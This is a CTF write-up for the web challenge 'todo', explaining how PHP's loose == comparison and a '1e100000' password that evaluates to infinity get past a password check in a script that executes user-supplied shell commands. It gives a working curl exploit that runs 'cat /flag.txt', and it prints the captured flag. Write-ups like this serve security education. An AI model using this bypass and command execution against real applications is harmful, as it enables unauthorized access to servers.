todo

Category: Web

Solver: lukasrad02

Flag: GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}

Scenario

The challenge consists of a web application powered by a single PHP script that receives data from the HTTP POST parameter data and then does a couple of things:

  1. The string from the data parameter is parsed as JSON and stored as $user_input.
  2. The user agent of the request is compared against the string "friendlyHuman" and requests with any other user agent are aborted.
  3. The $user_input->{'user'} property is compared to "adminšŸ¤ " and non-admins receive a landing page with a greeting.
  4. The $user_input->{'password'} property is passed to a securePassword function and the result is compared to the original password. If the two values don’t match, an error message is returned.
  5. If all checks were successful, $user_input->{'command'} is executed in a shell and the output is sent back to the user.

The code of the securePassword function is as follows:

function securePassword($user_secret){
    if ($user_secret < 10000){
        die("nope don't cheat");
    }
    $o = (integer) (substr(hexdec(md5(strval($user_secret))),0,7)*123981337);
    return $user_secret * $o ;
}

From the provided Dockerfile, we know that the flag can be found in /flag.txt.

Analysis

The website is designed to provide us with arbitrary code execution if we pass all checks. In this case, getting the flag just needs a cat /flag.txt command.

The first to checks are simple string comparisons, so we just have to set the right values. But the password check is more complicated.

On a first glance, it seems impossible to craft an input that is not altered by the securePassword function. In its last step, the function multiplies our input by some integer $o generated from our input. So, we would have to supply 0 as a password, since 0 * $o would stay 0. But the if statement at the beginning of the function forbids using this password.

However, when taking a closer look at the if statements used for the checks, we notice an important difference. The username is compared with three ===, the password check only uses two ==.

if ($user_input->{'user'} === "adminšŸ¤ ")
if ($user_input->{'password'} == securePassword($user_input->{'password'}))

As PHP is dynamically typed, it tries to find matching data types per default. When using three equal signs, this feature is turned off and the data types on both sides already have to be the same.

You can try this in an interactive PHP shell (php -a):

php > $equal = "1" == 1;
php > var_dump($equal);
bool(true)
php > $equal = "1" === 1;
php > var_dump($equal);
bool(false)

Another nice feature is that PHP parses scientific representation of numbers in strings, for example "4e2" would become 400. This allows us to craft large numbers easily, even if these numbers exceed the ranges PHP can represent:

php > $i = 1e100000;
php > var_dump($i);
float(INF)

Infinity stays infinity when multiplying it with another number. So if we pass "1e100000" as password, both securePassword() and our original password will evaluate to infinity, which lets us pass the check.

Exploit

Putting all things together, we can exploit the challenge using the following curl command which sets the required user agent, username, password and command:

curl https://<your-instance-identifier>.ctf.kitctf.de -X POST --data-urlencode 'data={"user": "adminšŸ¤ ", "password": "1e100000", "command": "cat /flag.txt"}' -H 'User-Agent: friendlyHuman'

Output:

object(stdClass)#1 (3) {
  ["user"]=>
  string(9) "adminšŸ¤ "
  ["password"]=>
  string(8) "1e100000"
  ["command"]=>
  string(13) "cat /flag.txt"
}
GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}
 hail admin what can I get you GPNCTF{1_4M_50_C0NFU53D_R1GHT_N0W}